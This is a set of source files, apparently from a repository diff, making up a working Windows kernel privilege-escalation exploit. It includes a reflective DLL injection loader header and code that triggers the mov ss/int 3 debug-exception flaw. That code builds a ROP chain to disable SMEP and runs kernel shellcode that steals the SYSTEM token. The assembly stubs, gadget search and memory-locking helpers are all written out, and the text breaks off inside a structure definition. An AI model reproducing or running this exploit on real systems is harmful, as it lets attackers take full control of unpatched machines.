// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
// Enable this define to turn on OutputDebugString support
//#define ENABLE_OUTPUTDEBUGSTRING 1
// Enable this define to turn on locking of memory to prevent paging
#define ENABLE_STOPPAGING 1
#define EXITFUNC_SEH 0xEA320EFE
#define EXITFUNC_THREAD 0x0A2A1DE0
#define EXITFUNC_PROCESS 0x56A2B5F0
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#ifdef ENABLE_STOPPAGING
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T );
#define VIRTUALLOCK_HASH 0x0EF632F2
#endif
#ifdef ENABLE_OUTPUTDEBUGSTRING
typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR );
#define OUTPUTDEBUG_HASH 0x470D22BC
#endif
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD _hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,318 @@
#include <iostream>
#include <Windows.h>
#include <intrin.h>
#include "KernelRoutines.h"
#include "LockedMemory.h"
#include "Native.h"
#include "Error.h"
#include "Exploit.h"
struct ISR_STACK
{
uint64_t RIP;
uint64_t CS;
uint64_t EF;
uint64_t RSP;
};
// Doensn't really change
static const uint32_t Offset_Pcr__Self = 0x18;
static const uint32_t Offset_Pcr__CurrentPrcb = 0x20;
static const uint32_t Offset_Pcr__Prcb = 0x180;
static const uint32_t Offset_Prcb__CurrentThread = 0x8;
static const uint32_t Offset_Context__XMM13 = 0x270;
static const uint32_t MxCsr__DefVal = 0x1F80;
static const uint32_t Offset_Prcb__RspBase = 0x28;
static const uint32_t Offset_KThread__InitialStack = 0x28;
static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0;
static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18;
// Requires patterns
NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx
NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess
NON_PAGED_DATA uint64_t ContextBackup[10];
NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0;
NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0;
NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0;
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void(*)(uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup);
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level
0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_DATA uint64_t PredictedNextRsp = 0;
NON_PAGED_DATA ptrdiff_t StackDelta = 0;
NON_PAGED_CODE void KernelShellcode()
{
__writedr(7, 0);
uint64_t Cr4Old = __readgsqword(Offset_Pcr__Prcb + Offset_Prcb__Cr4);
__writecr4(Cr4Old & ~(1 << 20));
__swapgs();
// Uncomment if it bugchecks to debug:
// __writedr( 2, StackDelta );
// __writedr( 3, PredictedNextRsp );
// __debugbreak();
// ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
((ISR_STACK*)IsrStackIterator)->CS == 0x10 &&
((ISR_STACK*)IsrStackIterator)->RIP > 0x7FFFFFFEFFFF)
{
__rollback_isr(IsrStackIterator);
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if (((ISR_STACK*)(IsrStackIterator + 0x30))->CS == 0x33)
{
/*
fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e`d7a1bc40 0000000000000010
fffff00e`d7a1bc48 0000000000000002
fffff00e`d7a1bc50 fffff00ed7a1bc68
fffff00e`d7a1bc58 0000000000000000
fffff00e`d7a1bc60 0000000000000014
fffff00e`d7a1bc68 00007ff7e2261e95 --
fffff00e`d7a1bc70 0000000000000033
fffff00e`d7a1bc78 0000000000000202
fffff00e`d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = (PVOID)k_ExAllocatePool(0ull, (uint64_t)sizeof(IRetToVulnStub));
Np_memcpy(KStub, IRetToVulnStub, sizeof(IRetToVulnStub));
// ------ KERNEL CODE ------
uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken(CurrentProcess);
uint64_t SystemToken = k_PsReferencePrimaryToken(SystemProcess);
for (int i = 0; i < 0x500; i += 0x8)
{
uint64_t Member = *(uint64_t *)(CurrentProcess + i);
if ((Member & ~0xF) == CurrentToken)
{
*(uint64_t *)(CurrentProcess + i) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken(CurrentToken);
k_PsDereferencePrimaryToken(SystemToken);
// ------ KERNEL CODE ------
__swapgs();
((ISR_STACK*)IsrStackIterator)->RIP += 1;
(fnIRetToVulnStub(KStub))(Cr4Old, IsrStackIterator, ContextBackup);
}
PUCHAR AllocateLockedMemoryForKernel(SIZE_T Sz)
{
PUCHAR Va = (PUCHAR)VirtualAlloc(0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ZeroMemory(Va, Sz);
for (int i = 0; i < Sz; i += 0x1000)
Np_TryLockPage(Va + i);
return Va;
}
void PrivEsc()
{
// Pre-init checks: KVA Shadow
SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 };
if (!NtQuerySystemInformation(SystemKernelVaShadowInformation, &KvaInfo, (uint64_t) sizeof(KvaInfo), 0ull))
assert(!KvaInfo.KvaShadowFlags.KvaShadowEnabled);
// Initialization: Memory allocation, locking sections, loading nt
assert(Np_LockSections());
assert(Np_TryLockPage(&__rollback_isr));
assert(Np_TryLockPage(&__swapgs));
KernelContext* KrCtx = Kr_InitContext();
assert(KrCtx);
static PUCHAR Pcr = AllocateLockedMemoryForKernel(0x10000);
static PUCHAR KThread = AllocateLockedMemoryForKernel(0x10000);
static PUCHAR KProcess = AllocateLockedMemoryForKernel(0x10000);
static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb;
// Offsets: Finding offsets and ROP gadgets
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)KrCtx->NtLib;
PIMAGE_NT_HEADERS FileHeader = (PIMAGE_NT_HEADERS)((uint64_t)DosHeader + DosHeader->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(((uint64_t)&FileHeader->OptionalHeader) + FileHeader->FileHeader.SizeOfOptionalHeader);
while (_strcmpi((char*)SectionHeader->Name, ".text")) SectionHeader++;
uint64_t AdrRetn = 0;
uint64_t AdrPopRcxRetn = 0;
uint64_t AdrSetCr4Retn = 0;
PUCHAR NtBegin = (PUCHAR)KrCtx->NtLib + SectionHeader->VirtualAddress;
PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize;
// Find [RETN]
for (PUCHAR It = NtBegin; It < NtEnd; It++)
{
if (It[0] == 0xC3)
{
AdrRetn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [POP RCX; RETN]
for (PUCHAR It = NtBegin; It < NtEnd; It++)
{
if (It[0] == 0x59 && It[1] == 0xC3)
{
AdrPopRcxRetn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
// Find [MOV CR4, RCX; RETN]
for (PUCHAR It = NtBegin; It < NtEnd; It++)
{
if (It[0] == 0x0F && It[1] == 0x22 &&
It[2] == 0xE1 && It[3] == 0xC3)
{
AdrSetCr4Retn = It - (PUCHAR)KrCtx->NtLib + KrCtx->NtBase;
break;
}
}
assert(AdrRetn);
assert(AdrPopRcxRetn);
assert(AdrSetCr4Retn);
PUCHAR UPsGetCurrentProcess = (PUCHAR)GetProcAddress(KrCtx->NtLib, "PsGetCurrentProcess");
PUCHAR UKeBugCheckEx = (PUCHAR)GetProcAddress(KrCtx->NtLib, "KeBugCheckEx");
for (int i = 0; i < 0x50; i++)
{
if (UKeBugCheckEx[i] == 0x48 && UKeBugCheckEx[i + 1] == 0x8B && // mov rax,
UKeBugCheckEx[i + 7] == 0xE8) // call
{
Offset_Prcb__Context = *(int32_t *)(UKeBugCheckEx + i + 3);
break;
}
}
for (int i = 0; i < 0x50; i++)
{
if (UPsGetCurrentProcess[i] == 0x48 && UPsGetCurrentProcess[i + 1] == 0x8B && // mov rax,
UPsGetCurrentProcess[i + 7] == 0xC3) // retn
{
Offset_KThread__ApcStateFill__Process = *(int32_t *)(UPsGetCurrentProcess + i + 3);
break;
}
}
assert(Offset_Prcb__Context);
assert(Offset_KThread__ApcStateFill__Process);
*(PVOID*)(Pcr + Offset_Pcr__Self) = Pcr; // Pcr.Self
*(PVOID*)(Pcr + Offset_Pcr__CurrentPrcb) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
*(DWORD*)(Prcb) = MxCsr__DefVal; // Prcb.MxCsr
*(PVOID*)(Prcb + Offset_Prcb__CurrentThread) = KThread; // Prcb.CurrentThread
*(PVOID*)(Prcb + Offset_Prcb__Context) = Prcb + 0x3000; // Prcb.Context, Placeholder
*(PVOID*)(KThread + Offset_KThread__ApcStateFill__Process) = KProcess; // EThread.ApcStateFill.EProcess
*(PVOID*)(Prcb + Offset_Prcb__RspBase) = (PVOID)1; // Prcb.RspBase
*(PVOID*)(KThread + Offset_KThread__InitialStack) = 0; // EThread.InitialStack
NON_PAGED_DATA static DWORD SavedSS = __readss();
// Execute Exploit!
HANDLE ThreadHandle = CreateThread(0, 0, [](LPVOID) -> DWORD
{
volatile PCONTEXT Ctx = *(volatile PCONTEXT*)(Prcb + Offset_Prcb__Context);
while (!Ctx->Rsp); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while (Ctx->Rsp == StackInitial); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault's
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*(uint64_t*)(Prcb + Offset_Prcb__Context) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it
return 0;
}, 0, 0, 0);
assert(ThreadHandle);
assert(SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL));
SetThreadAffinityMask(ThreadHandle, 0xFFFFFFFE);
SetThreadAffinityMask(HANDLE(-2), 0x00000001);
k_ExAllocatePool = KrCtx->GetProcAddress<>("ExAllocatePool");
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>("PsReferencePrimaryToken");
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>("PsDereferencePrimaryToken");
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>("PsGetCurrentProcess");
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>("PsInitialSystemProcess");
//Force proper execution order? If you leave this out, the computer can BSoD.
Sleep(1000);
CONTEXT Ctx = { 0 };
Ctx.Dr0 = (uint64_t)&SavedSS; // Trap SS
Ctx.Dr1 = (uint64_t)Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
Ctx.Dr7 =
(1 << 0) | (3 << 16) | (3 << 18) | // R/W, 4 Bytes, Active
(1 << 2) | (3 << 20) | (2 << 22); // W, 8 Bytes, Active
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
assert(SetThreadContext(HANDLE(-2), &Ctx));
uint64_t RetnRetn[2] = { AdrRetn, AdrRetn };
uint64_t PopRcxRetnRcx[2] = { AdrPopRcxRetn, 0x506f8 };
uint64_t SetCr4Retn[2] = { AdrSetCr4Retn, (uint64_t)&KernelShellcode };
// RSP:
__setxmm13((BYTE*)RetnRetn); // &retn // we need to align xmm writes so two place holders just incase!
// &retn
__setxmm14((BYTE*)PopRcxRetnRcx); // &pop rcx
// 0x506f8
__setxmm15((BYTE*)SetCr4Retn); // &mov cr4, rcx; retn
// &KernelShellcode
PVOID ProperGsBase = __read_gs_base();
__set_gs_base(Pcr);
__triggervuln(ContextBackup, &SavedSS); // Let the fun begin
__set_gs_base(ProperGsBase);
return;
}

View File

@ -0,0 +1,10 @@
#pragma once
#define ERROR( msg ) \
{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \
printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \
system( "pause" ); \
exit( 0 );}
#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond )

View File

@ -0,0 +1,66 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
#include <iostream>
#include <vector>
#include "NtDefines.h"
struct KernelContext
{
HMODULE NtLib;
uint64_t NtBase;
template<typename T = fnFreeCall>
T GetProcAddress( const char* Proc )
{
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
if ( !LocProc )
return ( T ) ( nullptr );
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
return ( T ) ( this->NtBase + Delta );
}
};
static KernelContext* Kr_InitContext()
{
KernelContext* Kc = new KernelContext;
std::vector<BYTE> Buffer( 1024 * 1024 );
ULONG ReqSize = 0;
do
{
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
break;
Buffer.resize( ReqSize * 2 );
}
while ( ReqSize > Buffer.size() );
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
Kc->NtLib = LoadLibraryA( KernelFileName );
if ( !Kc->NtBase || !Kc->NtLib )
{
delete Kc;
printf( "[+] Failed to get kernel module information!\n" );
return 0;
}
printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase );
return Kc;
}
static void Kr_FreeContext( KernelContext* Ctx )
{
delete Ctx;
}

View File

@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2018, Can Bölük
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,88 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include "NtDefines.h"
#pragma section(".LDATA", read, write)
#pragma section(".LTEXT", read, write, execute)
#pragma data_seg(".LDATA$1")
#pragma data_seg(".LDATA$2")
#pragma data_seg(".LDATA$3")
#pragma data_seg()
#pragma code_seg(".LTEXT$1")
#pragma code_seg(".LTEXT$2")
#pragma code_seg(".LTEXT$3")
#pragma code_seg()
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
// Mini non-paged crt
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
#pragma comment(linker,"/MERGE:.LDATA=.data")
#pragma comment(linker,"/MERGE:.LTEXT=.text")
// Routines to lock the pages
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
{
SIZE_T Min, Max;
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
return FALSE;
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
return FALSE;
return TRUE;
}
static BOOL Np_TryLockPage( PVOID Page )
{
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
return FALSE;
if ( VirtualLock( Page, 0x1000 ) )
return TRUE;
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
return FALSE;
return VirtualLock( Page, 0x1000 );
}
static BOOL Np_LockRange( PVOID From, PVOID To )
{
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
{
if ( !Np_TryLockPage( Current ) )
{
printf( "[+] Failed locking %16llx!\n", Current );
return FALSE;
}
else
{
printf( "[+] Locked %16llx successfully!\n", From );
}
}
return TRUE;
}
static BOOL Np_LockSections()
{
printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd );
printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd );
return
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
Np_LockRange( &Np_TextStart, &Np_TextEnd );
}

View File

@ -0,0 +1,146 @@
.code
__swapgs PROC
swapgs
ret
__swapgs ENDP
__rollback_isr PROC
mov rdx, [rsp] ; rdx = Return pointer
lea r8, [rsp+8h] ; r8 = Old stack
mov [rcx], rdx ; isr stack.rip = Return pointer
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
mov rsp, rcx ; stack = isr stack
iretq ; return
__rollback_isr ENDP
__set_gs_base PROC
wrgsbase rcx
ret
__set_gs_base ENDP
__readss PROC
xor eax, eax
mov ax, ss
ret
__readss ENDP
__read_gs_base PROC
rdgsbase rax
ret
__read_gs_base ENDP
__triggervuln PROC
mov [rcx+8*0], r12 ; save registers
mov [rcx+8*1], r13
mov [rcx+8*2], r14
mov [rcx+8*3], r15
mov [rcx+8*4], rdi
mov [rcx+8*5], rsi
mov [rcx+8*6], rbx
mov [rcx+8*7], rbp
mov [rcx+8*8], rsp
pushfq
pop [rcx+8*9]
mov ss, word ptr [rdx] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
nop
nop
nop
mov r12, [rcx+8*0] ; load registers
mov r13, [rcx+8*1]
mov r14, [rcx+8*2]
mov r15, [rcx+8*3]
mov rdi, [rcx+8*4]
mov rsi, [rcx+8*5]
mov rbx, [rcx+8*6]
mov rbp, [rcx+8*7]
mov rsp, [rcx+8*8]
push [rcx+8*9]
popfq
ret
__triggervuln ENDP
__setxmm0 PROC
movups xmm0, [rcx]
ret
__setxmm0 ENDP
__setxmm1 PROC
movups xmm1, [rcx]
ret
__setxmm1 ENDP
__setxmm2 PROC
movups xmm2, [rcx]
ret
__setxmm2 ENDP
__setxmm3 PROC
movups xmm3, [rcx]
ret
__setxmm3 ENDP
__setxmm4 PROC
movups xmm4, [rcx]
ret
__setxmm4 ENDP
__setxmm5 PROC
movups xmm5, [rcx]
ret
__setxmm5 ENDP
__setxmm6 PROC
movups xmm6, [rcx]
ret
__setxmm6 ENDP
__setxmm7 PROC
movups xmm7, [rcx]
ret
__setxmm7 ENDP
__setxmm8 PROC
movups xmm8, [rcx]
ret
__setxmm8 ENDP
__setxmm9 PROC
movups xmm9, [rcx]
ret
__setxmm9 ENDP
__setxmm10 PROC
movups xmm10, [rcx]
ret
__setxmm10 ENDP
__setxmm11 PROC
movups xmm11, [rcx]
ret
__setxmm11 ENDP
__setxmm12 PROC
movups xmm12, [rcx]
ret
__setxmm12 ENDP
__setxmm13 PROC
movups xmm13, [rcx]
ret
__setxmm13 ENDP
__setxmm14 PROC
movups xmm14, [rcx]
ret
__setxmm14 ENDP
__setxmm15 PROC
movups xmm15, [rcx]
ret
__setxmm15 ENDP
end

View File

@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
extern "C"
{
void __setxmm0( BYTE* );
void __setxmm1( BYTE* );
void __setxmm2( BYTE* );
void __setxmm3( BYTE* );
void __setxmm4( BYTE* );
void __setxmm5( BYTE* );
void __setxmm6( BYTE* );
void __setxmm7( BYTE* );
void __setxmm8( BYTE* );
void __setxmm9( BYTE* );
void __setxmm10( BYTE* );
void __setxmm11( BYTE* );
void __setxmm12( BYTE* );
void __setxmm13( BYTE* );
void __setxmm14( BYTE* );
void __setxmm15( BYTE* );
void __swapgs();
uint16_t __readss();
PVOID __read_gs_base();
void __set_gs_base( PVOID GsBase );
void __rollback_isr( uint64_t IsrStack );
void __triggervuln( PVOID RegSave, PVOID Abc );
};

View File

@ -0,0 +1,72 @@
#pragma once
#include <Windows.h>
#pragma pack(push, 8)
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[ 0 ];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
